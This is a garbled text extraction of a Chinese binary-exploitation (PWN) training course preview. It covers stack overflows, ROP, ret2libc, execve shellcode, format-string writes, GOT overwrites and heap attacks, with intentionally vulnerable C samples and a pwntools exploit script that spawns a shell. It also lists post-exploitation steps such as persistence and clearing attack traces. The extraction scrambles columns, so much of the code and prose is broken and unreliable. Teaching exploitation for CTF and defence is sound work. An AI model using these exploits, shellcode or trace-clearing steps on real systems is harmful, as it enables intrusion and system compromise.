还剩28页未读,继续阅读
本资源只提供10页预览,全部文档请下载后查看!喜欢就下载吧,查找使用更方便
文本内容:
李罡老师安全攻防培训课件PWN第一章培训导入与环境准备在开始我们的安全攻防之旅前,我们需要了解本课程的整体架构和必要的环境准备工PWN作本章将概述漏洞的基本概念,帮助您构建适合的学习环境,并介绍关键工具的安PWN装与配置方法环境要求工具准备本课程要求学员具备基本的操作您需要准备虚拟机软件(如Linux系统知识和语言编程基础我们将在或)、调试工具C VirtualBoxVMware系统上进行所有实验,(及其插件)、反汇编工具Ubuntu
16.04GDB该系统提供了稳定且适合漏洞利用研究()以及环境(用于IDA ProPython的环境编写漏洞利用脚本)学习资料本课程提供详细的实验指导手册、示例代码和漏洞样本建议学员在课后反复练习,巩固所学知识,提高实际操作能力培训目标与内容概览本培训课程旨在系统性地提升学员在二进制安全领域的专业能力,帮助学员从理论到实践全面掌握技术通过为期七章的系统学习,您将能够PWN1掌握漏洞原理与利用技巧PWN深入理解栈溢出、格式化字符串、堆溢出等常见漏洞的产生机制和利用方法,能够独立分析和利用各类二进制漏洞2熟悉环境与调试工具Linux熟练操作系统,掌握、等专业工具的使用方法,提高Linux GDBIDA Pro漏洞分析效率和准确性3实战演练多种漏洞类型通过大量实际案例练习,积累真实漏洞利用经验,培养解决复杂安全问题课程内容将按照由浅入深的原则进行安排,从基础的环境准备到高级漏洞利用技的能力和思维方式术,逐步提升学员的技术水平每章节都包含理论讲解和实战练习相结合的内容,确保学员能够真正掌握所学知识环境搭建必备软件123虚拟机静态分析工具调试及常用插件Ubuntu
16.04IDA GDB是进行漏洞研究的理想平台,因为是业内领先的反汇编和调试工具,对于分析二是下最常用的调试工具,通过安装专用插件Ubuntu
16.04PWN IDA Pro GDBLinux它具有稳定的系统环境和丰富的开发工具支持我们推进制程序结构和漏洞至关重要我们将使用分析目标可以大幅提升漏洞分析效率以下三个插件各有特IDA PWN荐使用作为虚拟化平台,它免费开源且跨平程序的控制流、函数调用关系和内存布局等关键信息点VirtualBox台兼容性好提供彩色输出和命令简化,适合初学者•PEDA安装步骤功能特点功能全面,支持多种架构,界面清晰•GEF•从官方网站下载Ubuntu
16.04LTS镜像文件•强大的反汇编和反编译能力•Pwndbg专为漏洞利用设计,命令直观高效安装并创建新的虚拟机跨平台支持多种处理器架构•VirtualBox•安装命令git clone•分配至少2GB内存和20GB硬盘空间•图形化函数调用流程显示https://github.com/longld/peda.git~/peda echo source~/peda/peda.py~/.gdbinit挂载镜像并按照指引完成安装插件系统扩展功能•ISO•基础与调试环境配置Linux常用命令快速回顾Shell在进行PWN漏洞分析时,熟练使用Linux命令行是基本要求以下是一些最常用的命令ls-la显示所有文件(包括隐藏文件)的详细信息file查看文件类型,判断二进制文件架构和保护机制checksec检查二进制文件的安全保护机制ldd查看程序依赖的动态链接库objdump查看二进制文件的汇编代码readelf分析ELF文件格式信息插件安装与使用技巧GDB推荐安装的GDB插件及其特点PEDA安装git clonehttps://github.com/longld/peda.git~/pedaechosource~/peda/peda.py~/.gdbinitGEF安装wget-q-O-https://github.com/hugsy/gef/raw/master/scripts/gef.sh|shPwndbg安装git clonehttps://github.com/pwndbg/pwndbgcd pwndbg./setup.sh自动化利用框架简介pwntoolspwntools是专为CTF比赛和漏洞利用研究设计的Python库,它提供了丰富的功能第二章栈溢出漏洞详解栈溢出是最基础也是最常见的二进制漏洞类型之一,深入理解栈溢出漏洞对于掌握技术PWN至关重要本章将系统介绍栈溢出漏洞的原理、检测方法和利用技巧,帮助学员建立坚实的二进制漏洞利用基础栈溢出漏洞形成原因栈溢出漏洞危害栈溢出漏洞主要由不安全的缓冲区操作攻击者可以通过栈溢出漏洞控制程序执导致,当程序将数据写入栈上缓冲区时行流程,执行任意代码,获取系统权限,没有进行边界检查,导致输入的数据超导致严重的安全事件历史上许多著名出了缓冲区的大小,覆盖了栈上的其他的安全漏洞都与栈溢出有关,如Morris数据,如局部变量、保存的寄存器值、蠕虫、等Code Red返回地址等本章学习目标通过本章学习,学员将能够理解栈内存布局、函数调用约定,掌握基本的栈溢出利用方法,能够构造链实现复杂攻击,并了解相关防护措施及绕过技术ROP在接下来的几节课中,我们将从简单的局部变量覆盖,逐步过渡到返回地址劫持、链构造ROP等高级技术,通过大量实际案例加深对栈溢出漏洞的理解每个概念都会配合相应的代码示例和实际操作演示,确保学员能够真正掌握这些技术栈溢出基础知识栈结构与函数调用机制栈是程序运行时用于存储临时数据的内存区域,遵循后进先出LIFO原则在x86架构中,栈从高地址向低地址增长,主要用于•存储函数的局部变量•保存函数调用的返回地址•传递函数参数(取决于调用约定)•保存寄存器状态函数调用过程
1.调用者将参数压栈(从右向左)
2.执行CALL指令,将返回地址压栈
3.跳转到被调用函数
4.被调用函数保存栈基址(EBP)
5.分配栈空间给局部变量
6.函数执行完毕后,恢复栈状态并返回覆盖局部变量与返回地址原理经典栈溢出案例分析覆盖局部变量示例stack
1.c这是最基础的栈溢出案例,演示如何通过溢出缓冲区修改栈上的局部变量void vulnerable{char buffer
[64];int control=0;getsbuffer;//不安全的函数ifcontrol==0x61626364{//abcdputs成功修改control变量!;}}漏洞利用方法
1.分析内存布局,确定buffer与control的相对偏移(64字节)
2.构造Payload64字节填充+\x64\x63\x62\x61(小端序)
3.成功修改control值,触发条件分支返回地址覆盖跳转后门函数stack
2.c本案例演示如何覆盖返回地址,控制程序执行流程void backdoor{puts获取shell!;system/bin/sh;}void vulnerable{char buffer
[64];getsbuffer;//不安全的函数}漏洞利用方法
1.分析内存布局,确定buffer与返回地址的偏移(64+8=72字节)
2.获取backdoor函数地址
3.构造Payload72字节填充+backdoor函数地址
4.程序执行完vulnerable函数后跳转到backdoor函数链控制函数参数stack
3.c ROP本案例演示如何使用ROP技术控制函数参数void vulnerable{char buffer
[64];getsbuffer;}int main{vulnerable;return0;}高级栈溢出技巧栈迁移与链构造()利用函数地址计算调用()ROP stack
4.c libcsystem stack
5.c当溢出空间有限,无法直接构造完整ROP链时,栈迁移(Stack Pivoting)技术就显得尤为重要在开启ASLR保护的情况下,我们需要首先泄露程序加载的libc基址,然后计算system函数等关键函数的实际地址void vulnerable{char buffer
[40];read0,buffer,0x200;//可控写入长度远大于缓冲区}void vulnerable{char buffer
[64];getsbuffer;}int main{putsWelcome tohacking challenge!;vulnerable;return0;}栈迁移实现步骤
1.寻找控制栈指针的gadget,如leave;ret(相当于mov esp,ebp;pop ebp;ret)
2.将栈指针迁移到可控区域(如bss段或堆区)
3.在新栈区域预先构造完整ROP链
4.触发栈迁移,执行预构造的ROP链利用步骤这种技术特别适用于溢出空间受限但可写空间较大的情况,能够构造复杂的攻击序列
1.第一次溢出覆盖返回地址为puts@plt,参数为puts@got,泄露puts实际地址
2.计算libc基址leaked_puts-puts_offset
3.计算system地址libc_base+system_offset
4.计算/bin/sh字符串地址libc_base+binsh_str_offset
5.第二次溢出构造system/bin/sh调用第三章与格式化字符串漏洞Shellcode在本章中,我们将探讨两种强大的漏洞利用技术编写与格式化字符串漏洞这两种技术虽然原理不同,但都是二进制漏洞利用领域的重要组成Shellcode部分,掌握它们将大大拓展您的漏洞利用能力基础格式化字符串漏洞实战应用Shellcode是一段用于执行特定功能的机器格式化字符串漏洞是一种特殊的内存破坏漏本章将通过多个实际案例,展示如何在各种Shellcode码,通常用于在漏洞利用成功后获取系统控洞,由不当使用等格式化函数导致环境下编写和优化,以及如何发printf Shellcode制权本章将详细讲解的编写原与栈溢出不同,它不仅可以读取任意内存位现和利用格式化字符串漏洞学员将学习如Shellcode理、常见类型和绕过技术,帮助学员理解如置的数据,还能写入任意位置,具有极强的何结合这些技术实现更加灵活和强大的漏洞何构造高效且稳定的危害性利用方案Shellcode通过本章的学习,学员将能够理解不同架构下的编写方法和优化技巧•Shellcode掌握格式化字符串漏洞的原理和利用思路•学会在不同的约束条件下构造有效的漏洞利用载荷•熟悉相关的防护机制和绕过方法•本章内容较为技术性,建议学员在学习过程中多动手实践,反复调试和测试,以加深理解和掌握基础与编写Shellcode什么是?ShellcodeShellcode是一段可执行的机器码,通常以字符串形式嵌入到漏洞利用程序中,用于在目标系统上执行特定操作名称源自最初的目标获取shell访问权限特点Shellcode•独立性不依赖外部函数或库•位置无关可在内存任意位置执行•紧凑性通常需要尽可能小•避免特殊字符根据利用场景可能需要避免如NULL字节等调用实现获取syscall shell在Linux系统中,获取shell的基本思路是调用execve系统调用执行/bin/sh;x86Linux execve/bin/sh,[/bin/sh],NULL shellcodesection.textglobal_start_start:xor eax,eax;清零eaxpush eax;NULL字符串结束符push0x68732f6e;n/sh push0x69622f2f;//bi movebx,esp;ebx指向/bin/sh字符串push eax;NULL pushebx;/bin/sh字符串地址mov ecx,esp;argv数组地址xor edx,edx;envp=NULL moval,11;execve的系统调用号int0x80;触发系统调用与技巧ret2shellcode orw shellcode根据漏洞利用场景,Shellcode可以有多种类型获取型Shell绕过与防护Shellcode规则限制下的设计seccomp shellcodeSeccomp(Secure Computing)是Linux内核的一种安全机制,可以限制程序能够使用的系统调用当面对seccomp限制时,传统的获取shell的shellcode可能无法工作,需要采取特殊的绕过策略1系统调用黑名单绕过当seccomp规则只禁止了特定系统调用(如execve)时,可以尝试使用替代系统调用实现类似功能例如,使用clone或fork+execveat等组合来替代直接的execve调用2orwshellcode策略当无法执行shell但允许文件操作时,可以使用open-read-write策略读取目标文件(如flag)并输出内容,而不需要获取完整shellopenflag,O_RDONLY-readfd,buf,size-write1,buf,size3沙箱逃逸技术在一些情况下,可以利用内核漏洞或seccomp规则配置错误来实现沙箱逃逸这通常需要深入研究目标系统的安全配置和潜在漏洞可打印与侧信道泄露shellcode在某些情况下,shellcode可能需要满足特定的字符限制,如只包含可打印ASCII字符这类限制常见于Web应用漏洞或特殊过滤条件下字母数字shellcode只使用字母和数字字符构造的shellcode,通常利用如下技术•自修改代码技术•利用XOR/SUB/ADD等运算构造需要的字节•使用异或编码等技术动态解码真正的shellcode侧信道泄露技术当无法直接读取敏感数据时,可以通过构造特殊的shellcode,利用时间差、网络行为或错误信息等侧信道泄露信息•逐字节比较并根据结果执行不同时长的操作•根据条件触发网络连接,将数据编码在DNS请求或HTTP请求中•利用错误信息或程序行为差异来推断数据内容格式化字符串漏洞原理格式化字符串的安全隐患printf格式化字符串漏洞源于对printf、fprintf、sprintf等函数的不当使用,当格式化字符串可被用户控制时,攻击者可以利用特殊的格式说明符读取或写入任意内存位置常见的不安全用法char buffer
[100];getsbuffer;printfbuffer;//不安全!应该是printf%s,buffer;格式化字符串中的特殊说明符%s读取并打印一个字符串(基于地址)%x/%p以十六进制格式打印数据%n将已打印的字符数写入指定地址%d以十进制格式打印整数%c打印单个字符%h短整型修饰符栈变量泄露与修改技巧格式化字符串漏洞利用的基本过程其中,%n说明符是格式化字符串漏洞利用的核心,它可以将已打印的字符数量写入指定的内存地址,从而实现任意地址写入内存泄露1使用%x或%p说明符可以泄露栈上的数据,包括函数返回地址、程序加载地址等关键信息例如2定位输入控制点printfAAAA%08x.%08x.%08x.%08x;通过在输入中加入特殊标记(如AAAA),可以确定格式化字符串在栈中的位置例如,如果在第6个%x时打印出0x41414141,则这将打印AAAA后跟四个栈值的十六进制表示表示输入的第一个参数位于栈上的第6个位置直接参数访问3一旦确定了位置,可以使用%n$x格式直接访问第n个参数,避免多余的输出例如,如果输入在第6个位置,可以使用%6$x直接打印它4任意内存写入结合%n说明符和直接参数访问,可以实现对任意地址的写入例如//将地址0x08049794放在格式化字符串中//然后使用%n写入该地址printf\x94\x97\x04\x08%6$n;格式化字符串漏洞实战修改返回地址跳转后门函数fs
4.c修改栈变量fs
3.c这个案例演示如何劫持程序执行流程泄露栈变量fs
2.c这个案例演示如何修改程序中的关键变量这个案例演示如何利用格式化字符串漏洞泄露栈上的敏感信息//fs
4.c#include void backdoor{system/bin/sh;}void vulnerable//fs
3.c#include int main{int target=0;char buffer
[64];{char buffer
[64];printf输入信息:;fgetsbuffer,//fs
2.c#include int main{char secret
[16]=FLAG{s3cr3t};char printf输入你的名字:;fgetsbuffer,sizeofbuffer,stdin;sizeofbuffer,stdin;printf你输入的是:;printfbuffer;//格buffer
[64];printf输入你的名字:;fgetsbuffer,sizeofbuffer,printf你好,;printfbuffer;//格式化字符串漏洞iftarget==式化字符串漏洞}int main{vulnerable;return0;}stdin;printf你好,;printfbuffer;//格式化字符串漏洞0x1337{printf\n恭喜,你成功修改了target值!\n;}returnreturn0;}0;}利用方法•输入多个%p或%x来打印栈上的值•确定secret数组在栈上的位置利用方法•使用%s说明符直接打印字符串内容利用方法•确定target变量在栈上的位置示例payload:%p.%p.%p.%p.%p.%p.%p.%p•使用%n说明符向目标地址写入值•确定返回地址在栈上的位置•控制已打印字符数为0x13374919•获取backdoor函数的地址示例payload:AAAA%6$n假设target位于第6个参数•使用%n说明符修改返回地址为backdoor地址对于大数值写入,可以使用%hn(写入短整型)或多次写入的方式//分两次写入,先写入低16位,再写入高16位\xaa\xaa\xbb\xbb%6$hn%7$hn格式化字符串漏洞的利用往往需要结合具体程序的内存布局和安全限制在实际攻击中,可能需要多次尝试,逐步泄露和修改内存内容,最终达到控制程序执行流程的目的高级利用技巧
1.部分写入使用%hhn只写入一个字节,减少写入数据量
2.任意地址读将目标地址放入格式化字符串中,然后用%s读取该地址内容第四章动态链接与表攻击GOT在本章中,我们将深入探讨系统中的动态链接机制,以及如何利用这一机制中的全局偏移表()实现程序执行流程的劫持动态链接是现代操作系统Linux GOT中广泛使用的一种技术,它允许程序在运行时加载和使用共享库函数,而表则是实现这一机制的关键数据结构GOT动态链接基础与表结构漏洞利用技术PLT GOT我们将首先介绍动态链接的基本概念和工作原程序链接表()和全局偏移表()是基于对动态链接机制的理解,我们将学习如何PLT GOT理,包括共享库的加载过程、延迟绑定机制等动态链接中的两个核心组件我们将详细讲解通过修改表项来劫持程序执行流程,实GOT了解这些基础知识对于掌握相关的漏洞利用技它们的结构、作用以及相互关系,为后续的漏现诸如、函数重定向等高级攻击技术ret2libc术至关重要洞利用打下基础本章的学习目标包括理解文件格式中与动态链接相关的部分•ELF掌握和表的工作机制和交互方式•PLT GOT学会使用工具分析程序的动态链接信息•掌握表覆写技术及其在实际漏洞利用中的应用•GOT了解相关的保护机制和绕过方法•通过本章的学习,您将能够更深入地理解系统中的二进制程序结构,并掌握一种强大的漏洞利用技术这些知识不仅对于比赛有重要价值,也是进行实Linux CTF际安全研究和漏洞分析的基础能力动态链接机制简介动态链接的基本概念动态链接是一种程序模块组织方式,它允许程序在运行时而非编译时加载和链接所需的库函数相比静态链接,动态链接具有以下优势•减小可执行文件体积•节省内存(多个程序可共享同一个库)•便于库的更新和维护•支持运行时加载(如插件系统)与表作用解析PLT GOT动态链接的核心机制由程序链接表(Procedure LinkageTable,PLT)和全局偏移表(Global OffsetTable,GOT)共同实现(程序链接表)PLTPLT是一系列跳转指令的集合,每个需要动态链接的外部函数都在PLT中有一个对应的入口当程序调用外部函数时,实际上是跳转到PLT中的对应项(全局偏移表)GOTGOT是一个地址表,存储了动态链接函数的实际地址PLT中的代码会使用GOT中的地址来实现最终的函数调用GOT表项在程序第一次调用相应函数时由动态链接器填充函数调用流程libc以调用printf函数为例,动态链接的函数调用过程如下表利用技巧GOT泄露地址实现dl
2.c libcret2libc当程序开启了NX保护(不可执行栈)时,我们不能直接执行shellcode,但可以利用程序已加载的libc中的函数实现攻击这种技术称为ret2libc//dl
2.c#include voidvulnerable{char buffer
[64];getsbuffer;//栈溢出漏洞}int main{putsWelcome!;vulnerable;putsGoodbye!;return0;}利用思路
1.利用puts@plt输出puts@got的内容,泄露libc中puts的实际地址
2.根据泄露的地址计算libc基址:libc_base=leaked_puts-puts_offset
3.计算system函数地址:system_addr=libc_base+system_offset
4.寻找/bin/sh字符串:binsh_addr=libc_base+binsh_offset
5.构造ROP链调用system/bin/sh示例payload结构padding+puts_plt+pop_rdi_ret+puts_got+main_addr+padding+system_addr+ret+binsh_addr修改表项实现dl
3.c atoiGOT getshell当程序多次调用某个函数时,我们可以通过修改其GOT表项,将后续调用重定向到我们想要执行的函数//dl
3.c#include#include voidget_command{char buffer
[100];int choice;printf输入命令编号:;fgetsbuffer,100,stdin;choice=atoibuffer;//这里调用atoi switchchoice{case1:puts执行命令1;break;case2:puts执行命令2;break;default:puts未知命令;}}int main{char buffer
[64];printf输入名称:;getsbuffer;//栈溢出漏洞while1{get_command;//这里会再次调用atoi}return0;}第五章堆漏洞入门与进阶堆漏洞是现代漏洞利用技术中最复杂也最强大的类型之一与栈溢出不同,堆漏洞利用涉及动态内存分配机制的复杂细节,攻击手法也更加多样化和灵活本章将带领大家从基础概念出发,逐步深入堆漏洞利用的各种技术和方法堆内存基础常见堆漏洞类型高级利用技术我们将首先介绍系统中的堆内存管理机制,本章将详细讲解几种典型的堆漏洞类型,如堆溢在掌握基础知识后,我们将学习一些高级的堆漏Linux包括分配器的工作原理、堆块结构、出、、等,分析它洞利用技术,如、ptmalloc2use-after-free double free fastbin attack unsorted空闲块管理等基础知识,为后续的漏洞利用打下们的成因、利用条件和基本利用方法、等,这些技术在binattacktcache attack坚实基础比赛和实际漏洞利用中都有广泛应用CTF本章的学习目标包括理解堆内存管理机制的工作原理•Linux掌握各种堆漏洞的特点和基本利用思路•学会使用调试工具分析堆内存状态•掌握常见的堆漏洞利用技术•了解不同版本中堆管理机制的差异及其对漏洞利用的影响•glibc堆漏洞利用是一个深度和广度都很大的主题,本章将重点关注基本原理和常用技术,为后续深入学习打下基础通过理论讲解和实际案例分析相结合的方式,帮助学员建立起对堆漏洞的系统性理解堆结构与常用函数基本原理malloc/free在Linux系统中,堆内存管理主要由glibc中的ptmalloc2实现,其核心函数为malloc和free函数malloc用于向系统申请指定大小的内存,基本调用形式为void*mallocsize_t size;malloc的主要工作流程
1.检查对应大小的空闲链表中是否有可用块
2.如有,直接从空闲链表中取出并返回
3.如无,向系统申请更多内存(通过sbrk或mmap)
4.进行必要的对齐和分割操作
5.返回可用的内存指针函数free用于释放之前分配的内存,基本调用形式为void freevoid*ptr;free的主要工作流程
1.检查释放的指针是否有效堆块结构与管理机制
2.获取堆块的元数据堆内存被分割成多个块chunk进行管理,每个块都有特定的结构
3.进行必要的合并操作(前后有空闲块时)堆块头部元数据
4.将块加入适当的空闲链表每个堆块都包含一个头部,存储关键元数据除了基本的malloc和free,glibc还提供了其他内存管理函数•prev_size前一个块的大小(如果前块空闲)•calloc分配内存并初始化为零•size当前块的大小及标志位•realloc调整已分配内存的大小•标志位最低3位用作标志•memalign/posix_memalign分配对齐的内存•PREV_INUSE P前一个块是否在使用•IS_MMAPPED M块是否通过mmap分配•NON_MAIN_ARENA A块是否属于主arena空闲块结构当块被释放时,其用户数据区域会被重用来存储空闲链表指针•fd forwardpointer指向链表中的下一个空闲块堆漏洞经典案例漏洞泄露地址()与攻击()use-after-free heap
2.c double free fastbinheap
3.cuse-after-freeUAF是一种常见的堆漏洞,当程序释放内存后仍继续使用该内存时产生double free是指同一个内存块被释放两次,这会破坏堆管理器的数据结构,导致安全问题//heap
2.c简化版struct user{char name
[16];void*funcvoid;};void normal_func{puts正常功能;}voidbackdoor//heap
3.c简化版int main{char*a=malloc0x10;char*b=malloc0x10;freea;freeb;freea;{system/bin/sh;}void create_userstruct user*u{strcpyu-name,user;u-func=normal_func;}int main//doublefree!char*c=malloc0x10;char*d=malloc0x10;char*e=malloc0x10;//这个分配会返回a的地址{struct user*u=mallocsizeofstruct user;create_useru;//释放内存freeu;//分配同样大小的新read0,e,0x20;//写入控制数据return0;}内存,覆盖之前的区域char*buf=mallocsizeofstruct user;read0,buf,sizeofstruct user;//UAF漏洞使用已释放的内存u-func;//调用已被覆盖的函数指针return0;}利用思路
1.freea后,a进入fastbin
2.freeb后,b进入fastbin,位于a前面
3.再次freea,a再次进入fastbin,形成链表环
4.第一次malloc返回b
5.第二次malloc返回a
6.第三次malloc也返回a!这导致同一块内存被分配两次
7.通过向e写入数据,可以修改其他关键数据结构fastbin attack的核心是利用doublefree构造堆块重叠,然后通过重叠块修改关键数据结构或函数指针利用思路
1.程序释放user结构体后,通过新分配的buf可以控制该区域
2.构造特殊输入,覆盖原func指针为backdoor函数地址
3.当程序调用u-func时,实际执行backdoor函数这两个经典案例展示了堆漏洞的基本利用思路在实际攻击中,常常需要结合程序逻辑和内存布局,设计更复杂的利用链重要的是理解底层原理,掌握堆内存管理的工作机制,才能灵活应对各种堆漏洞场景堆漏洞高级利用结合攻击获取()攻击与攻击详解uaf fastbinshell heap
4.c unlinkunsorted bin这个案例展示了如何结合使用多种堆漏洞技术实现更复杂的攻击这两种攻击利用了堆管理器中特定的机制//heap
4.c简化版struct note{char*content;int size;};struct note*notes
[10];int note_count=0;void add_note攻击unlink{ifnote_count=10return;int size;printf输入大小:;scanf%d,size;struct note*n=mallocsizeofstruct note;n-content=mallocsize;n-size=size;printf输入内容:;read0,n-unlink是堆管理器在合并空闲块时使用的操作,其基本逻辑是content,size;notes[note_count++]=n;}void delete_note{int idx;printf输入索引:;scanf%d,idx;ifidx0||idx=note_count return;freenotes[idx]-content;freenotes[idx];//未清空指针-UAF漏洞}void FD=P-fd;BK=P-bk;FD-bk=BK;BK-fd=FD;edit_note{int idx;printf输入索引:;scanf%d,idx;ifidx0||idx=note_count return;printf输入新内容:;read0,notes[idx]-content,notes[idx]-size;}int main{while1{int choice;menu;scanf%d,choice;switchchoice{case1:add_note;break;case2:delete_note;break;case3:edit_note;break;case4:exit0;}}return0;}如果能控制P-fd和P-bk,就可以实现任意地址写入现代系统中有保护机制,但在特定条件下仍可利用攻击unsorted bin当chunk被free后,会被放入unsorted bin,其fd和bk会指向bin的地址这可以用来泄露libc地址此外,unsorted binattack利用了bck-fd=chunk操作,可以向任意地址写入unsorted bin地址,常用于覆盖global_max_fast等全局变量堆溢出与函数利用Hook123漏洞、与技术攻击原理与实战off-by-one__malloc_hook__free_hook one_gadget tcache是一种特殊的堆溢出漏洞,仅溢出一个字节,通常由边界条件错误中的和函数设计了钩子机制,允许自定义处理函数是引入的线程本地缓存机制,旨在提高内存分配效率然而,off-by-one glibcmalloc freetcache glibc
2.26引起其简化的设计也带来了新的攻击面调用前会检查这个函数指针•__malloc_hook malloc中的只保存指针,没有双向链表检查调用前会检查这个函数指针•tcache chunkfd•__free_hook free//典型的off-by-one漏洞char buffer
[8];forint i=0;i=8;没有对的验证,使攻击更容易i++{//应为i8buffer[i]=data[i];}攻击者可以覆盖这些hook函数指针,实现控制流劫持结合one_gadget技术•early versionskey(在libc中寻找能直接获取shell的代码片段),可以简化利用过程•tcache优先级高于其他bin常用覆盖方法tcache poisoning攻击步骤•利用fastbin attack控制特定内存区域
1.控制tcache中chunk的fd指针•使用unsorted binattack修改global_max_fast
2.指向任意地址(如__malloc_hook)虽然只溢出一个字节,但通过精心构造,可以实现强大的攻击效果•利用tcache poisoning直接控制分配位置
3.连续分配,使malloc返回目标地址写入或地址
4.shellcode one_gadget覆盖下一个的字段,修改其大小•chunk size的引入使得一些传统保护机制(如检查)被绕过,在一定更改下一个的标志,欺骗堆管理器tcache double-free•chunk PREV_INUSE程度上简化了堆利用结合堆块重叠,实现更复杂的攻击•特别是,通过修改的最低字节,可以构造堆块重叠,off-by-one chunksize进而实现任意地址读写堆漏洞利用技术随着版本的更新而不断演变在学习这些技术时,需要注意不同版本之间的差异,特别是引入后对堆管理机制的重大变化熟练掌握这些高级技术需要反复实践和深入理解内存管理机制glibc tcache实际漏洞利用中,通常需要结合多种技术,根据目标程序的特点和限制条件,设计合适的攻击链建议学员搭建不同版本的环境,比较不同版本下堆管理行为的差异,加深对底层机制的理解glibc第六章漏洞综合利用与自动化脚本在掌握了各类漏洞的基本原理和利用方法后,本章将带领大家进入漏洞利用的综合应用阶段我们将学习如何将多种漏洞技术组合使用,构建完整的漏洞利用链,并使用自动化工具和脚本提高漏洞利用的效率和可靠性综合利用思维自动化利用工具实战案例分析真实世界的漏洞利用往往需要结合多种技术,手动构建漏洞利用载荷往往繁琐且容易出错通过分析几个典型的题目和实际漏洞案例,CTF突破多层防护本章将讲解如何分析目标系统我们将学习如何使用等工具自动化我们将学习如何从漏洞发现到最终利用的完整pwntools的保护机制,设计合适的利用策略,并将不同漏洞利用过程,包括连接目标、构造、流程,加深对漏洞利用技术的理解和应用能力payload的漏洞技术组合成完整的攻击链处理交互等环节,提高攻击效率和成功率本章的学习目标包括掌握漏洞利用的一般流程和方法论•学会使用库进行自动化漏洞利用•pwntools能够根据目标程序特点选择合适的攻击策略•理解多种漏洞技术组合使用的方法•提升漏洞分析和利用的实战能力•通过本章的学习,您将能够将前面学到的各种技术融会贯通,形成系统的漏洞利用能力,为后续的安全研究和实践打下坚实基础漏洞利用流程总结漏洞发现1识别目标程序中的潜在安全问题,包括•代码审计检查危险函数使用2环境搭建•模糊测试自动化发现程序崩溃点•静态分析使用IDAPro等工具分析为漏洞利用研究准备合适的环境•动态分析使用调试器跟踪程序行为•复现目标系统环境(OS版本、库版本)•配置调试工具(GDB及插件)漏洞分析3•准备辅助工具(IDA、pwntools等)深入研究漏洞的成因和影响•搭建网络环境(如需远程攻击)•确定漏洞类型(栈溢出、格式化字符串等)•分析内存布局和程序结构4利用开发•识别保护机制(ASLR、NX、Canary等)设计和实现漏洞利用方案•寻找可利用的程序特性或函数•构造POC验证漏洞存在提权与后续利用5•开发稳定可靠的exploit•处理各种异常情况获取更高权限并进行后续操作•优化利用代码,提高成功率•获取shell或命令执行能力•利用本地提权漏洞获取管理员权限•建立持久访问机制•清除攻击痕迹漏洞利用的关键要素成功的漏洞利用通常需要考虑以下几个方面信息收集收集目标系统的详细信息,包括操作系统版本、库版本、编译选项等这些信息对于选择合适的攻击技术至关重要防御绕过针对目标系统的保护机制设计绕过策略,如泄露栈canary、突破ASLR、绕过NX等不同的防护组合需要不同的攻击策略稳定性考虑漏洞利用不仅要能成功,还要考虑稳定性避免程序崩溃,处理各种异常情况,确保在不同环境下都能可靠运行与自动化利用Python pwntools库安装与基础用法pwntoolspwntools是一个专为CTF比赛和漏洞利用研究设计的Python库,它提供了丰富的功能和便捷的接口,大大简化了漏洞利用代码的编写安装方法pip installpwntools基本组件和功能•进程交互process,remote,ssh•打包/解包数据p32,p64,u32,u64•地址操作ELF,ROP•汇编/反汇编asm,disasm•日志输出log.info,log.success•实用工具cyclic,xor示例连接到目标并发送数据from pwnimport*#本地进程p=process./vulnerable#远程连接#p=remoteexample.com,1337#发送数据p.sendlinebHello#接收数据response=p.recvlineprintresponse#交互模式p.interactive编写自动化脚本示例exp下面是一个完整的漏洞利用脚本示例,演示如何使用pwntools自动化栈溢出漏洞利用#!/usr/bin/env python3from pwnimport*#配置环境context.arch=amd64context.log_level=info#创建连接elf=ELF./vulnerablelibc=ELF./libc.so.6#本地调试或远程攻击LOCAL=Trueif LOCAL:p=process./vulnerablegdb.attachp,b*main+50continue else:p=remoteexample.com,1337#泄露libc地址defleak_libc:#构造ROP链泄露puts地址rop=ROPelf rop.putself.got[puts]rop.main#发送Payloadpayload=bA*72+rop.chain p.sendlineafterbInput:,payload#接收泄露的地址leaked_puts=u64p.recvline.strip.ljust8,b\x00log.successfLeaked puts@GLIBC:{hexleaked_puts}#计算libc基址libc.address=leaked_puts-libc.symbols[puts]log.successfLIBC base:{hexlibc.address}return libc.address#获取shelldef get_shell:#构造system/bin/sh调用rop=ROPlibc rop.systemnextlibc.searchb/bin/sh#发送Payload payload=bA*72+rop.chain p.sendlineafterbInput:,payload#交互式shellp.interactive#主攻击流程leak_libcget_shell实战演练综合漏洞利用案例结合栈溢出与格式化字符串动态链接与堆漏洞联合利用在这个案例中,我们将学习如何结合栈溢出和格式化字符串漏洞实现完整的漏洞利用链这个案例演示如何结合GOT表劫持和堆利用技术//combined.c简化版#include#include voidformat_func{char buffer
[100];printf输入名称:;read0,buffer,//advanced.c简化版#include#include#include struct note{char*content;void*printchar*;};void100;printf你好,;printfbuffer;//格式化字符串漏洞}void stack_func{char buffer
[64];printf输入消息:normal_printchar*content{printfNote:%s\n,content;}struct note*notes
[10];int note_count=0;void add_note;getsbuffer;//栈溢出漏洞}intmain{while1{int choice;printf
1.格式化功能\n;{ifnote_count=10return;structnote*n=mallocsizeofstruct note;n-print=normal_print;printf
2.消息功能\n;printf选择:;scanf%d,choice;getchar;//清除换行符printf大小:;int size;scanf%d,size;getchar;n-content=mallocsize;printf内容:;ifchoice==1format_func;else ifchoice==2stack_func;else read0,n-content,size;notes[note_count++]=n;}void delete_note{printf索引:;int idx;break;}return0;}scanf%d,idx;getchar;ifidx0||idx=note_count return;freenotes[idx]-content;freenotes[idx];//未清空指针-UAF漏洞}void print_note{printf索引:;int idx;scanf%d,idx;getchar;ifidx0||idx=note_count return;notes[idx]-printnotes[idx]-content;}void edit_note{printf索引:;int idx;scanf%d,idx;getchar;ifidx0||idx=note_count return;printf新内容:;read0,notes[idx]-content,strlennotes[idx]-content;}intmain{setbufstdout,NULL;while1{printf
1.添加笔记\n;printf
2.删除笔记\n;printf
3.打印笔记\n;printf
4.编辑笔记\n;printf
5.退出\n;printf选择:;int choice;scanf%d,choice;getchar;switchchoice{case1:add_note;break;case2:delete_note;break;case3:print_note;break;case4:edit_note;break;case5:exit0;default:puts无效选择;}}return0;}利用思路
